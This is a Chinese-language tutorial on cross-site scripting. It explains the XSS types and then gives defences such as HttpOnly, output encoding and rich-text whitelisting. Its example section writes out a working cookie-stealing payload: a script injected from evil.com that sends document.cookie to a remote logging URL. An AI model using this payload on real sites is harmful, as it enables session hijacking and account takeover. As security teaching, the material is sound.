跨站脚本攻击(XSS)
黑客通过“HTML注入”篡改了网页,插入了恶意的脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击。
- 反射型XSS
需要诱使用户“点击”一个恶意链接,才能攻击成功,也叫做“非持久型XSS”。 - 存储型XSS
把用户输入的数据“存储”在服务器端,也叫做“持久型XSS”。 - DOM Based XSS
通过JavaScript修改页面的DOM节点行程的XSS。
XSS Payload
XSS攻击成功后,攻击者能够对用户当前浏览的页面植入恶意脚本,通过恶意脚本,控制用户的浏览器。这些用以完成各种具体功能的恶意脚本,被称为“XSS Payload”。
一个最常见的XSS Payload,就是通过读取浏览器的Cookie对象,从而发起“Cookie劫持”攻击。
攻击者先加载一个远程脚本:
http://www.a.com/test.htm?abc="><script src=http://www.evil.com/evil.js ></script>
真正的XSS Payload写在这个远程脚本中,避免直接在URL的参数里写入大量的JavaScript代码。
在evil.js
中,可以通过如下代码窃取Cookie:
var img = document.createElement("img");
img.src = "http://www.evil.com/log?"+escape(document.cookie);
document.body.appendChild(img);
这段代码在页面中插入了一张看不见的图片,同时把document.cookie
对象作为参数发送到远程服务器。 事实上,http://www.evil.com/log
并不一定要存在,因为这个请求会在远程服务器的Web日志中留下记录:
127.0.0.1 - - [19/Jul/2010:11:30:42 +0800] "GET /log?cookie1%3D1234 HTTP/1.1" 404 288
这样,就完成了一个最简单的窃取Cookie的XSS Payload。
所以,通过XSS攻击,可以完成“Cookie劫持”攻击,直接登录进用户的账户。
Cookie的“HttpOnly”标识可以防止“Cookie劫持”。
在XSS攻击成功后,攻击者有许多方式能够控制用户的浏览器
- 构造GET与POST请求
- XSS钓鱼
- 识别用户浏览器
- 识别用户安装的软件
- CSS History Hack
- 获取用户的真实IP地址
XSS构造技巧
- 利用字符编码
- 绕过长度限制
- 使用<base>标签
- 利用window.name的妙用
XSS的防御
1. HttpOnly
HttpOnly解决的是XSS后的Cookie劫持攻击,JavaScript读取不到Cookie的值。
2. 输入检查
格式检查,有点像白名单,可以让一些给予特殊字符的攻击失效。
XSS Filter在用户提交数据时获取变量,并进行XSS检查;但此时用户数据并没有结合渲染页面的HTML代码,因此XSS Filter对预警的理解并不完整。同时,XSS Filter对“<”等字符的处理,可能会该表用户数据的语义。
3. 输出检查
除了富文本的输出外,在变量输出到HTML页面时,可以使用编码或转义的方式来防御XSS攻击。
4. 正确防御XSS
XSS的本质还是一种“HTML注入”,用户的数据被当成了HTML代码一部分来执行,从而混淆了原本的语义,产生了新的语义。
5. 处理富文本
在过滤富文本时,“事件”应该被严格禁止,因为“富文本”的展示需求里不应该包括“事件”这种动态效果。而一些危险的标签,比如 <iframe> 、<script> 、<base> 、<form> 等,也是应该严格禁止的。
在标签的选择上,应该使用白名单,避免使用黑名单。比如,只允许<a>、<img>、<div>等比较“安全”的标签存在。
“白名单原则”不仅仅用于标签的选择,同样应该用于属性与事件的选择。
6. 防御DOM Based XSS
将HTML代码写入了DOM节点,最后导致了XSS的发生。
事实上,DOM Based XSS是从JavaScript中输出数据到HTML页面里。而前文提到的方法都是针对“从服务器应用直接输出到HTML页面”的XSS漏洞,因此并不适用于DOM Based XSS。